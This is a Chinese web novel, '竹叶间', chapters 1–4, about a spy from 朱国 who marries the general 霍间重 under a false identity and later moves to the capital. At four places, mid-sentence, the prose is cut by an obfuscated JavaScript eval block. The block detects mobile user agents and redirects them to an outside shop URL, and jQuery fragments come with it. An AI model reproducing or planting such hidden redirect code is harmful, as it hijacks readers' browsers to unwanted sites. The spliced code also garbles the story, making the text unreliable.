《竹叶间》 1. 仲春 兆国五十二年四月初十，天蒙蒙亮时沉竹就已起身，因为今日是她作为从朱国潜入兆国的细作，也作为兆国富商女赵叶芊出嫁的日子。 赵家的下人一早便候在了门前，时刻看着天色，准备掐着天刚亮的时刻敲响房门，叫醒这位幼年走失，重回赵家不过一年便要嫁人的小姐，开始梳妆。 巧的是，正当领头的丫鬟准备叩门之时，那位平日里少言少语、性子孤僻的小姐正好打开了房门，招呼他们进房梳妆。 “进来吧。”沉竹一身白色的寝衣，披着发，边打着哈欠边说道。 在潜入兆国并成为赵叶芊的一年间，沉竹为了减少不必要的情况发生，鲜少同人交流，赵父赵母及一众赵家管家下人，也就当她是幼年走失造成的心理创伤，无人起疑。 也因着这样的原因，赵父赵母怕生人惊扰到自己的女儿，并没有安排丫鬟在其左右两边服侍。 但到底是出嫁，赵母放不下对女儿的担忧，还是遣了两个靠谱的丫鬟近身服侍，随女儿一并去霍家。 沉竹在昨夜绞面之时，方才初见这二人。 现下，名叫沁兰的丫鬟正专心致志地为她挽发，另一位名叫沁菊的丫鬟则在面前抿着嘴认真地为她描眉。 日光越来越多的洒进窗子，梳妆也接近尾声。 沉竹微微低头对着铜镜打量着今日的打扮，铺了十足脂粉的面庞，正红色的口脂，配上头上沉甸甸的足金的簪钗和衔着白玉的花钿，意外地让她原本清冷的容貌多出几分妩媚来。 她的手抚上花钿正中清透的白玉，有些出神。 赵家是兆国南部有名的富商，沉竹来到赵家的一年多时间内，将自己前半辈子听都未听过的奇珍异宝见了遍。 不一会儿，赵母来到了房中，她试探着亲热地握起自己女儿的手，见其没有退缩的反应后，放心地将自己的手包裹住沉竹的手。 “芊芊今日真美。”赵母慈爱地看着她，声线平稳，但眼眶却禁不住有些湿润。 “母亲。” 沉竹没有母亲，她自幼便被朱国赋凌司当作细作培养，但当看到赵母眼中的不舍、担忧、欣慰等一众复杂又真实的情感时依旧动容。 “时候不早了，该到正厅去敬茶了。” 沁兰一路扶着她来到正厅，赵父已然坐在主椅之上，两旁还有些请来的亲友，虽顾忌着她的性子未请太多，但也足够热闹。 沉竹独行至赵父赵母面前，行礼后跪在红色的喜垫之上，接过喜婆递来的茶盏，开始敬茶。 敬完茶后，赵父赵母简单嘱咐了几句，喜婆边引着她转身出门上轿。 离开赵家的流程比沉竹想象中要快得多，在她正式迈出赵家门槛的那一刻，沉竹还是有些难过。 鼻头发酸，她尽力控制着，但依旧不可避免的落了一滴泪下来。 在赵家生活的一年间，赵父赵母将很多爱都灌注到了自己，这个“亲生女儿”身上。 那真正的赵叶芊在何处？ 沉竹在赋凌司接受任务之时曾向司使问过这个问题。 “大抵是在哪个冬天冻死了吧，司里的线人在街边发现了她的尸体，后来核实了她赵家千金的身份。” 这是沉竹得到的答案。 沉竹弯腰坐上了喜轿。 前来迎亲的人她曾在司使递给她的画像中见到过，此人名叫章征，是她未来夫君当下在整个滁州城内关系最好的人，也是同其一起在战场征战的战友。 随着一声吆喝，轿子稳当地开始前行。 喜轿之内，沉竹的四周都被扰人的红色包围。 她垂眼，将视线聚焦在手中拿着的遮面的羽扇之上，脑中细细捋过她所得知的关于夫君霍间重的信息。 霍间重是现下兆国战场上不容忽视的存在。寒门出身，父母早亡，家中只有一亲妹，自己靠着在边疆沙场之上搏杀出来的军功赚下了守平将军的官职。可寒门的出身让他无法成为兆国国中待嫁贵女的最优选。 此时愿意将一未谋面的富商女迎进门庭，除去赵父赵母及赋凌司对她的婚事在明处或暗处的努力，沉竹只能想到图谋钱财这一种可能性，毕竟要想从滁州走到燕京，还要在燕京站稳脚跟，一路上少不了要散去些家财，更何况如今战火纷飞，兆国朝中上下的开支各级官员的俸禄都有或多或少的缩减。 不可避免地，街道上热闹的声响和在转弯时不甚平稳的轿子还是晃走了沉竹的一点心绪，她想起司使交给她的其他待嫁人选，有城中的统领侍卫，也有尚未娶妻的当地小吏，甚至还有现下坐在马上的章征。 赋凌司为她所设定的目标人选无一不围绕着滁州城内政治与军事的中心。 沉竹曾将那名单之上五六个人选的样貌、年岁、身份、家境、交际等内容都熟记于心，在未尘埃落定之时常常回想记忆。 她记得，霍间重是司使交给她的那份名单上的最优选。 不知不觉间轿子已然停稳了，喜婆牵着沉竹的手下轿，章征下马来为她引路。 霍府从门槛处到正厅的距离比赵家的要短上不少，沉竹端正地举着羽扇跟着身前章征的脚步进入霍府，深红色镶边的玄色裙裾在随着她的步伐稳重地摇曳着。 她缓步走着，铺在黑色砖石之上的朱红色毛毡地毯从门槛处就一直蔓延。终地，抵达了举办仪式的正厅。 沉竹抬眼看到了那个穿着与她同等式样婚服的人，那张在画像上就已然俊朗的脸。 周遭喜庆的红色和喧闹并没有将霍间重脸上的肃杀之气柔和，其嘴角上扬的弧度让沉竹辨不出他是否在笑。 尽管面上有着几分冷淡，但他依旧向面前的新娘伸出手，将沉竹带至自己的身侧。 “一拜天地——” 二人转身朝着门外还算得上亮堂的天光躬身。 “二拜高堂——” 再转身，二人朝着摆在桌上的父母牌位鞠躬。 “夫妻对拜——” 诵词人的声音越发嘹亮。 “礼成——” 刚刚寂静的四周因此重新热闹起来，一旁的喜婆将沉竹引入后室，霍间重则被身边人簇拥着去了前厅的宴席。 在屋室之内又进行了简单的仪式过后，屋内便静悄悄地，只剩沉竹一人，跟着来的沁兰和沁菊此时也在屋外候着，不能进屋。 沉竹放下羽扇，打量着屋内的环境。 屋内整洁如新，不像是有人久居的模样，生活痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376646|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹也寥寥，像是特意为新婚新收拾出来的屋子。 沉竹安分地在床上坐着，已然不期望这间屋子能带给她向赋凌司换取解药的信息。 每个为赋凌司效力的人在执行任务之前，体内都会被种下专制的蛊毒，以方便掌控人员的举动，保证获得信息的真实性。 若无解药，蛊毒在一年之后就会发作。沉竹在新婚前夜刚拿到了用信鸽送来的解药。 黄昏的余辉渐渐散去，夜晚真正来临。 沉竹已经做好了进行一切夫妻生活的准备，却未想到，霍间重带着淡淡的酒气进屋，安静地同她喝完合卺酒之后，便自行沐浴更衣，躺在了在他之前梳洗好的沉竹身侧，再无动作。 当沉竹躺下扭头看向身侧的人时，对方的呼吸规律平稳，俨然一副已然入睡的状态。 她便也合眼，想着如何能够获知更多信息的方法入睡。 次日，沉竹依旧起的很早，只是身侧已没有温度的床榻告知她霍间重许在天色未亮之时便已离去。 她唤门外的沁兰与沁菊入内梳妆。 在与霍间重不足半日的相处时间之内，没有一句交流，现下她这个新婚妻子对丈夫的去向一无所知。 “霍小姐今日约女君一见。”沁兰边为她挽发边说道。 “霍任芙？” “正是。” 沉竹听后点了点头，继续说道：“可还有别的事？“ “有。“一旁为她挑选首饰的沁菊轻快地接话，”正要跟小姐说呢，今日天未亮男君走时嘱咐霍小姐今日带小姐熟悉府院内的事务。” “是女君。”沁兰出声纠正道。 沁菊听后缩了缩脑袋，继续寻找着从赵家带来的合适的首饰。 “这个适合小……女君！”沁菊将一支赤玉做的祥云簪插入沉竹梳好的垂云髻之上，“不仅与女君今日的粉衣相衬，还为女君的谪仙之姿多添几分秾丽呢。” 沉竹听后微笑着说道：“那就这支。” 霍府内不过只有两三个院落，都不大，但布置得却颇为精巧，想必是费了心思。 沉竹刚踏入院落的一角，坐在院落中雕花石凳之上的霍任芙便立刻起身迎了上来，挽住了她的胳膊。 “嫂嫂快来，我今日特意命膳房做了糕点，快来尝尝。” 霍任芙牵着沉竹坐在石凳之上，为她倒了一盏茶。 “兄长走前特意找我来带你熟悉府院内的事务，不过这事哪里还用兄长来嘱咐我，我自会找嫂嫂将府中事务说明。” 霍任芙笑着将倒好的茶推向沉竹。 “兄长自立府院之后，府内事务便由我来打理。霍府不大，上下人手也不多，打理起来不甚繁杂，等我待会儿带嫂嫂去账房将详细的事务说明。” 沉竹点头应下。 “滁州离覃国不远，现下朱国刚覆灭，覃国便发兵来攻，兄长今日便走得急了些，他不忍扰你，便半夜敲我的房门，让我带嫂嫂在府院中或是府院外逛逛。” 霍任芙不紧不慢地为新婚第一日便离去的兄长打着圆场。 可沉竹现下无法接受到霍任芙口中霍间重对她真假参半的关切，她的脑中只被四个字充斥。 朱国覆灭。 2. 难眠 关于幼时的记忆，沉竹现在已经记不起太多，只记得战火中连成片的废墟、随处可见的血与肉和那个把她带离废墟的人。 她不记得自己亲生父母的模样，也不记得自己是在哪个战败国的破落城池中被朱国赋凌司的人带走。 朱国带给她的记忆也依旧寥寥。 赋凌司设立在一片竹林之中，成片的竹叶会在风来时一起摩擦作响，模糊人的方向。 她在赋凌司中被赋予了沉竹的名字，且因为姣好的容貌自进入赋凌司起便被当作细作培养。 她没有走出过那片竹林，没接触过除了司使和同僚以外的人。 她在竹林中也见到过别的色彩。那是一只明显自制的纸鸢，没有过多的颜色，只是在白纸上用墨水画成的简单鸽子和竹条弯成的粗糙形状。 牵线的人沉竹并不认识，但从她所在的不高的四角楼上望下去，她看得清那张年轻的脸，和让她忘不掉的那双欢快的眼睛。 可自打那次以后她再没看到过那张脸，再没见到任何人拥有那双欢快的眼睛。 在赋凌司的十几年间，她通晓了各国的度量、风俗、文字，学会了琴棋书画，也熟读了一本又一本的兵法策略。在那片竹林之中，她通过了一次又一次考核，为实行任务的那一刻做着万全的准备。 但今日沉竹却知晓，朱国在她任务正式开始的第一日便如火烛熄灭后的那一缕烟消逝，再不见踪影，这不仅意味着赋凌司的倾倒，也意味着自己体内的毒再得不到解药的喂养，自己生命的终点已然被写明。 “朱国覆灭？”沉竹喝了口茶，尽力保持着面色的稳定，向眼前的霍任芙问道。 “是呀，昨日消息便传到了城中。不过嫂嫂昨日忙着成亲的事宜，定顾不上这些事。” “可以朱国之国力怎会一夜之间便破落凋敝？” “我对此也不甚知晓，待兄长回来你可以问问他。不过，朱国内斗日久，今日落得此结果大抵也有这方面的因素。”霍任芙说完，将沉竹有些见底的茶盏补满，“喝完这盏茶，我便带嫂嫂去账房，顺便熟悉院中的布置。” “好。”沉竹回应道。 沉竹曾从司使们口中知晓朱国内斗的事情，只是她没想到…… 然沉竹对朱国内的情况到底有着比外人更详细的了解，她认定内斗绝不是导致朱国覆灭的唯一原因。 霍任芙之后同她讲的那些府中事务，她都听地模棱两可，尽力维持着认真的表象。 毫无疑问，对于沉竹而言，这是个辗转反侧的夜晚。 她躺在依旧充满着红色的床榻之上，一闭上眼，思绪便不受控制地在房间的各个角落蜷缩。 今后的日子该如何？自己的性命可还有转圜的余地？若自己当真只有一年可活，今后又当如何在霍府生活？朱国到底缘何覆灭？今日在霍任芙面前可有露出破绽？ 此时的她竟有些庆幸那个本该躺在自己身侧的霍间重早早地外出征战。 破天荒地，她竟恶毒地希望这个未说过一句话的夫君战死在沙场之上，好给现下的自己一个解脱。 沉竹闭着眼，规律地深呼吸，却一夜无眠。 当日光刺向她的眼皮，她即刻便睁开了眼。这日，是她该回门的日子。 沉竹照例起身，打开房门，唤沁菊与沁兰进屋梳妆。 她看着铜镜之中眼下乌青的自己出神，直到沁兰提醒她才回过神来。 沉竹一袭杏红色的衣裙配湖蓝的外褂，这样的装扮搭着妆容才勉强将她的气色拉回平常。 她走至霍府门前，霍任芙等候在门前同她道别。 “嫂嫂一路平安！同伯父伯母好好叙旧，不必着急回来。” 沉竹微笑着颔首回应，随后上了提前备好的马车。 今日路上许是人多，马车一路停顿颠簸，街边的喧闹声也不绝于耳。 待马车长久的停在一处，随车的沁兰轻敲车窗，告知车内的沉竹已抵达赵家。 沉竹踩着踏凳刚下车，抬眼便看到赵母站在赵家打开的大门后眼巴巴地瞧着此处。 看到熟悉的赵家门楣，沉竹静下心来，脸上挂起笑容迎了过去。 “我的芊芊可回来了！快进门，今日做的尽是些你爱吃的菜。”赵母牵起她的手，热情洋溢地领着她进门。 如赵母所言，今日饭桌之上全是她在赵家的这一年间筷子最常伸向的菜色。 赵父坐在圆桌的另一侧，出声便是“多吃些”、“多夹些”。 “霍家可还住得惯？霍家人待你如何？” “住得惯，霍家人不多，待我都很好。” “霍间重呢？待你可好？” “他今日未来是因为覃国边境又生战事。”沉竹向神色之间难掩担忧的赵母解释道。 “我与你父亲也曾听闻此事。不过你既愿为他说话，想必不是个不好相处的。” 沉竹不愿将自己其实一句话都未和霍间重说过的事告知赵父赵母，徒增他们的担心。 “用过饭，你可去后院看看，你母亲今日又种了些花，我瞧着很是不错。”赵父边给沉竹夹着菜，边将话题终止。 “好。”沉竹点头答道。 在赵家的这一日过得很快，明明并未离开多久，沉竹却久违地感到放松。 离开时，看到在家门前送别的赵父赵母，难过还是在她的心底滋生。 马车在回霍府的路上很是平稳，街道上稀少的人烟与的夜色相衬，显得格外寂静。 回到寝居梳洗后，沉竹换上淡粉色的寝衣，披着长发，躺在床榻之上。 经过一天的平复，沉竹对现下的情况已然接受，只是在想到自己极有可能在一年后的今天毒发身亡，还是难免心烦意乱。 她的心中还是期待着在下个月的某天，一只在脚处绑着解药的信鸽出现在窗前。 后半夜的晚风透过窗纸，若有若无地将床帘吹得微微晃动。 晚风相伴，沉竹终于合眼入眠。 边境的战事持续了许久，沉竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376647|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已有一月多未见过霍间重，只收到一封快马送来的书信。 书信中简单报了平安，还用几句话问候了霍任芙与她。写完这一切，信纸还余一半的洁白。 “兄长他平日写信都这样简短，嫂嫂莫要挂怀。” 沉竹看得出，霍任芙说这话时笑得很是牵强。 她从霍任芙手中接过那张单薄的信纸，折叠后放入同样单薄的黄褐色信封之中。 “我不挂怀，战场之上能执笔写上句问候的话已是不易。”沉竹浅笑着圆过霍任芙的话。 “嫂嫂能这么想不易，是我兄长对你不住。” 沉竹反握住霍任芙安慰她的手，摆头说无妨。 “夫君既能在百忙中来信，我也当回信才好，芙儿可也有要对兄长说的话？不如我们约一日叫信使来邸，将书信送到边境去。” 沉竹看着霍任芙杏眼中的情感由不可置信到感佩，下意识的摇头也停在中途，转而用力地点头说好。 回到自己院中的沉竹心情也并未松懈。为远在边境的霍间重写封满纸思念的信于她而言算不上什么难事，令她放不下的是一月之期已过，可窗边未见到半只信鸽的踪迹。 这一月间，沉竹不止一次在饭后悄无声息地查看每一个在桌上摆着的瓷碗器具，在每一次与不相熟的人交际时用心留意对方的表情。 然而，沉竹生的期待一次次落空。 ‘解药再也送不到’的结论随着时间的推移渐渐在沉竹的心中生根发芽。 过往在赋凌司的那段时日，她不是没有设想过自己任务失败身死兆国，抑或是被当作弃子毒发身亡。 可现下的她什么都还未做。 经过几个日间出神后被沁兰轻声提醒的瞬间，捱过几个执着闭眼却依旧难眠的夜，她终是在沁兰的那句“小姐近来可是有烦心事，要不要请郎中过来看看”之后，接受了自己将死的事实，下定了决心。 既然赋凌司已然消失，自己细作的身份已无法继续存在，那便作为赵叶芊，用心体味自己剩下的这些日子。 边境的战火熄灭在沉竹与霍间重成婚的三月后。 在这三月间，沉竹依旧没有收到缓解体内蛊毒的解药，但在接受现实之后，她的心态又奔溃转到放松，行事也不再小心谨慎，变得更加自然。 她与霍任芙相处的很好，时不时便一同出去闲逛或在院中闲聊。 接到边境战事结束，霍间重将归的书信时，已是傍晚，彼时沉竹与霍任芙刚刚从喧嚷的集市归家。 信上除去简短的“吾将归”三字再无其他。 霍任芙不再在沉竹面前掩饰自己对于兄长寡言的气恼，嘴上是“怎么好了两天又这样”的抱怨，与之相对的是沉竹经久不变的，对见面不足一日的夫君的体谅。 在沉竹意料之外的是一道从燕京快马送到的旨意。她与霍任芙接到旨意的时间不过是那封书信送至霍府后的一日。 旨意上说，守平将军霍间重在边境立功，即日起升调至燕京。 3. 乔迁 “陛下的旨意已快马报给路上的霍将军，尔等收拾行装与霍将军在燕京团圆罢。” “是。”低头跪在地上的沉竹与霍任芙答道。 身着华服的公公嘱咐完后便离开了霍府。 夜色昏沉，滁州城内灯火寥寥，霍府上下却忙活了起来。 霍府中的下人们忙着将要带走的物什归在一处，也忙着议论将军在边境竟立下了如此大的功勋，要被陛下召入燕京。 “不成想兄长这次远行立下如此大的战功。”霍任芙起身同身旁的沉竹说道，语气中有着掩不去的喜悦。 沉竹笑着答是。 “燕京又是一番繁杂，定不似滁州城这般清闲。不过总归是好的，嫂嫂你也快些收拾东西，我们明日也许就要启程。” “好，明日何时？我想临走之前跟父母亲道别。” “是我漏想了这一层，临走前的确要跟父母亲好好道别，那我们便后日再启程，这样也不会太慌忙。” “那我明日收拾好行囊后便去赵家。对了，我来霍府时间不长，你是否知晓夫君可有些一定要带走的东西需要我帮忙整理？” “嫂嫂你只管收拾好自己的东西就好，不必管他，兄长应当会派手下副将来拿走那些应当拿的东西。” “副将？是章征吗？” 霍任芙摇摇头说道：“不是，那人叫郑子寒，兄长很信任他。章征目前负责滁州的守军，此次并未跟着兄长一起去前线。” “如此，我知晓了，我现在便回房整理收拾。” 郑子寒，此人的名字沉竹并不陌生。但在从赋凌司给予她的那份关于霍间重的文书中认识他时，此人还不是霍间重的副将，是同章征一般的滁州城守军。 看来她所了解的霍间重身边人的情况还不十足充分，不过她现下已无需了解如此多，只要扮演好霍间重的妻子这一角色，自己想必便可安然地度过剩下这段时光。 沉竹脑中如此想着，打开了房内一侧的榉木方角柜，拿出自己的衣物也拿出些霍间重的衣物。 霍间重的衣裳大多都是没什么差别的深色系，自己的衣裳则大多从赵家带来的，也有些新制的衣裳，那些衣裳的颜色、布料均是沉竹依照赵家小姐喜爱的颜色选择的。 真正的赵叶芊虽然幼时就已走失，但赵家的下人不止一次的提起过小姐走失前偏爱嫣红、鹅黄这些暖色调的衣裳。 搬到燕京，或许对自己来说是另一种意义上的解脱。 次日，沉竹早早地梳洗出门，带着沁兰和沁菊前去赵家。 赵父赵母依旧热忱，但在沉竹告知他们自己将要搬去燕京时，席间还是一阵沉默。 “近日边境的战事是已结束，却不曾想到……”赵母眉目之间满是担忧。 “这事确是有些突然，燕京路远，来往不便，好在有书信，你若是在燕京有任何事，定要书信通知我与你母亲。” “正是，正是。燕京虽然路远，但书信还是能送到。往后在燕京的日子若是有任何过的不顺心的，尽管写书信告知我们，我与你父亲永远在滁州等着你。”赵母握着沉竹的手越握越紧，说话间带着哽咽，“大不了，大不了我们上燕京去，将你接回来。” 说到激动处，赵母的眼泪就要从眼眶中跑出来。 “父亲母亲不必太过担忧，还有沁兰和沁菊在我身边陪着。”沉竹被离别的情绪感染，语气也变得戚戚。 “是呀，是呀，还有沁兰和沁菊，她们俩是个能干的，你在燕京的生活定不会太难熬。”赵母一番话像是说给自己听。 “霍间重他升调燕京总是件好事，若有机会，你定要回来看看。” “是呀，若有机会，定要回来看望我与你父亲。”赵母的手依旧握得很紧，不曾松开。 “自然。”沉竹说罢，喝完了赵母刚才为她盛的一碗热汤。 临走前，赵母递给她一个漆制的木盒，里面装着十几条小金鱼与看着便不菲的珠宝。 “有些财物傍身，总归是好的。此去燕京，芊芊定要平平安安。” “父母亲也要注意身体，一定要康健。”沉竹看着赵母已然红了的眼眶，看着其头上斑白的发，心中还是泛起些酸涩的滋味。 赵母目送着女儿登上马车，她的眼泪在此刻终究是落了下来，她在家门之前长久地伫立，看着马车离去，消失在黑夜之中，方才回家。 沉竹在赋凌司时便听闻过兆国燕京，司使们的口中不时地传递着燕京的消息。 她知道，燕京潜伏着同她一般的细作。 那些人现在也同自己一样吗？等待着体内的毒素对生命的裁决。 沉竹撩开车帘，望着马车外颠簸的景色，出声向霍任芙问道：“芙儿，你可曾去过燕京？” “未曾，我与兄长都在滁州长大。嫂嫂你可曾去过燕京？” “未曾。”这是沉竹第一次踏上前往一国之都的路途。 “我听闻燕京很是繁华，那里物多，人也多。到时想必你我外出闲逛也有新去处。” 沉竹点点头继续说道：“不知是夫君先抵达燕京，还是我们先到。” 许是装模做样的时间长了，对霍间重的关心与记挂的话语她现下张口就来。 “应当是兄长他们先到吧，他们军中快马多，比我们马车定要行的快一些。” 待她们抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376648|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达燕京已然是十五日之后，彼时的燕京已是黄昏。 霍间重的确比她们先抵达燕京，在她们一行人抵达新府院时，府中已有了些简单的布置。 在燕京的新府院比滁州的要大上一些，霍间重的亲卫领着她们进门，同她们介绍院中的布局。 “兄长呢？现下已近戌时，是还有公务在忙吗？”霍任芙的语气中有些不满。 “将军他确有些公务在忙，眼下正在书房。” “最好是如此。”说完霍任芙悻悻地笑着离去，她心知兄长是有意不来相迎，但不论是何原因，她心中依旧不悦。 领她们进门的亲卫名叫叶准，和霍间重一同从兆国与覃国的边境回到燕京，在军中担任统领的职务。待霍任芙回屋安置后，他将沉竹引至正屋。 “天色不早了，夫人一路舟车劳顿，想必是累了，早些回屋安置吧，将军托我告诉夫人不必等他。” “书房在何处？” 叶准指向不远处一间还亮着的屋子说道：“那便是。” 沉竹顺着他指的方向看过去，“夫君可说过不许人打扰？” “未曾。” “多谢，今日劳烦小叶统领了。” “夫人言重，我先告退了。” 叶准向沉竹拱手行礼后离去。 沉竹进屋后将屋内的烛台点燃，整间屋子霎时间亮了起来。 她已让沁兰和沁菊回屋安置歇息，屋内此时只有她一人。 床榻之上有已叠好的被褥，桌面上也不见尘土，沉竹打开衣柜，里面整齐地叠着熟悉的深色衣物。 她将从滁州带来的衣物整齐地放入柜中，随后便更衣沐浴。 天色渐渐黑了下来，而窗纸之外，另一间屋子的光依然亮着。 沉竹坐在铜镜前，用木梳将自己尚未完全干燥头发打理通顺。台面之上，还放着一壶热茶和刚才她从小厨房内取来的点心。 她将沏好的热茶倒入碎纹的青色瓷杯之中，再将瓷杯和糕点一并放在木制的小案上。 她躬身吹灭了烛火，整间屋子顿时暗了下来。 她端着小案走至门前，正要用脚将方才回到屋后未关紧的房门打开。 可那扇未关紧的房门却被人从外打开，沉竹向后退了两步站定。 她抬眼看向面前打开房门的人。 一旁书房还亮着的烛火为此刻黑沉的夜色提供了一些光亮，让沉竹得以看起眼前人的面庞。 有些陌生却又十足熟悉。她盯着那人的脸看了一两秒，确定了眼前人就是那个“还在书房处理公务”的夫君霍间重。 “夫君，可是在躲我？”沉竹笑着对他说。 4. 燕京 “并未。”霍间重向前走了两步进屋，房门被他反手合在了身后。 “我正想带着糕点和茶水去书房看望夫君。” 沉竹将小案放在了桌上，说话间霍间重已将刚刚熄灭的烛火点燃。 “今夜的晚风可凉？”沉竹披着发，一袭青色的寝衣，笑着向依旧站在门前的霍间重问道。 “不凉。” 像是看穿了她笑容背后的心思，霍间重一步步向着沉竹的方向靠近。 “今夜的晚风夫人刚刚也应当吹过，何须来问我？” 霍间重与沉竹的距离迅速拉近，他边说着话边用手将沉竹的碎发挽到耳后。 战事持续的三个月间，从滁州送往前线的家书除去来回路程的时间，足足有一个多月未曾间断过。 不似他在信中的寡言，落款为赵芊叶的书信每次都写满了整整三页的对他的爱意和思念。 起先他还认真读了几封信，并在随后自己送往滁州的书信中也真心实意的添了几句对她和对霍任芙的挂念。 信越多，霍间重读得越多，却逐渐觉出不对来。 一句“死生契阔，与子成说。”从第一封信的第一页出现过后，便跳着出现在过后几封信的第二页或是第三页中，而后半句则稳定地出现在每封信的第二页。其中的每一个字句都像是结构的重组平淡地更换着所在页的位置。 发现信中的蹊跷之时，霍间重兀自发笑，他有些气恼这一封封书信中的糊弄，可也意外地感受到了那份糊弄中的认真。 眼看着自己送回家中的书信真情实感地越写越长，边境的战事也落下了帷幕，自己心中的那股愤怒、羞耻、无奈却交织着逐渐攀升。 眼前人无视着他的靠近，依旧笑着说道：“夫君可乏了？茶还热着，不如喝过茶后，我来服侍夫君沐浴更衣？” 沉竹的手抚上他的脖颈，目光毫不避讳地同他的相接。 先移开目光的是霍间重，他摆脱开落在自己脖颈上的手，说道：“不必，我自去整理安顿，你一路车马劳顿，早些歇息。” 沉竹看着已隐在屏风之后的身影，语气依旧平和从容地说道：“多谢夫君体谅。” 燕京的清晨不似滁州那般清闲。 霍间重自打回京之后每日都需上朝，但显然沉竹还未适应这样的作息。 待她醒来时，屋内已不见霍间重的身影。 她梳妆好出门，却迎面碰到了正在指挥着院内仆从往外搬东西的叶准。 “小叶统领这是要做何事？” “回禀夫人，将军自打来到燕京，便有不少人家前来送礼，如今已在府内后院放了一些时日，将军命我将这些东西原封不动的送回去。” “原是如此，辛苦小叶统领了。” 离开时，沉竹扫到那件封箱的重礼之上的封条用正楷写着“晏府”二字。 燕京之中，有着府院的晏姓人家只有当朝内史一户。 可一介刚从滁州城搬至燕京的武将，怎能引得朝中叫得出名姓的人送此重礼？看来此事并非只是普通的因绩升迁那般简单。 除了院中源源不断搬出的礼，后面一连两三天，沉竹都收到了朝中数得上号的官员府中办宴递来的请帖，邀她和霍任芙抑或是她们一家前去游园赏花、饮茶品诗。 不出意外，沉竹翻遍了所有递到她手中的请帖只有一张帖子单单提到了赵叶芊的名姓。 那是朝中景王遣家中仆役来送的请帖，说是家中新请了名厨，后日在府中摆了宴席，请人前来品尝。 霍任芙处收到的请帖也不少，甚至比沉竹收到的还多。 “我本想着初至燕京，事务定不会太过繁多，趁着这段时间好好跟嫂嫂出去游玩呢，这几日我将燕京里的新鲜事物都打听了个遍，不成想竟被这堆劳什子请帖困住了脚步。”霍任芙说着说着便趴在了院中的石桌之上，一脸的生无可恋，“倘若当真要一个个去赴约，那岂不是一连好几天都要在各大高门府邸中打转？” “话是这样说没错，这些宴席定无法一一去赴，我听闻燕京人但凡搬至新居都会筹办一个开府的宴席，你我短暂休整过后，也应当将开府的席面操办起来了。” “嫂嫂说得在理，那这些请帖我便视作没收到，明日我便着人打听些燕京城中要办开府宴要备的东西。” “好。夫君那边便由我来说，向他讨份要宴请的名单来。” “我就知道嫂嫂知我要下一句要说些什么。”霍任芙转头朝沉竹嘻嘻地笑，可下一秒她的笑容便又消失不见，“诶，总归是有事要忙，落不得清闲的。” “我们在燕京的时日还长，那些玩乐我陪你慢慢补上。” “还长吗？燕京水深，只怕一个不小心行差踏错，坠入万丈深渊。 “要相信你兄长才是，更何况我们芙儿如此机敏聪慧怎会行差踏错。。”沉竹用诚心说客套话，安慰着低落的霍任芙，“不过……” “不过，今日的事的确有些不对劲是吧。我兄长虽凭借战场上立下的功勋来到了燕京，但总归在偌大的燕京是个排不上号的武将，那些世家大族本不该既送礼又递贴。” “是呀，近日我也是因此有些忧心。” 沉竹用拿着帕子的那只手捂在胸口处，故作忧虑状。 看着那双似水的眼眸染上哀戚之色，霍任芙的心也不忍起来，忙安慰道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376649|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“嫂嫂不必太过忧心，改日我找来叶准问问，许是在那三月间发生了什么事。” “好。”沉竹边说边缓慢地点了点头。 朱国覆灭，覃国发起战乱，霍间重又经此一战被调至燕京，而这一切都发生在沉竹嫁入霍府之后，她不得不深想几分。 可现下初入燕京，一切又恢复了最初的未知状态，她不敢草率地做下决断。 “沁兰，你明日也跟着芙儿的人打听府宴的事宜，看看有什么需要帮忙的。” “是。”沁兰边说边将从沉竹头上卸下的金钗放在台面上，“府宴前女君可要去买些新的钗环首饰？我这几日与沁菊出门，燕京现下时兴的款式都很好看。” “好，改日我也出门去首饰铺子里相看。”沉竹笑着回应。 “府中要筹备开府的宴席？” 谈话间，霍间重从门外步入。站在沉竹身后的沁兰知趣的退下 “正是。我今日与芙儿商定要办此宴席。近日府中请帖太多，比起一一去赴宴，不如我们设宴邀人来赴。” “那些请帖你和霍任芙不必理会。” 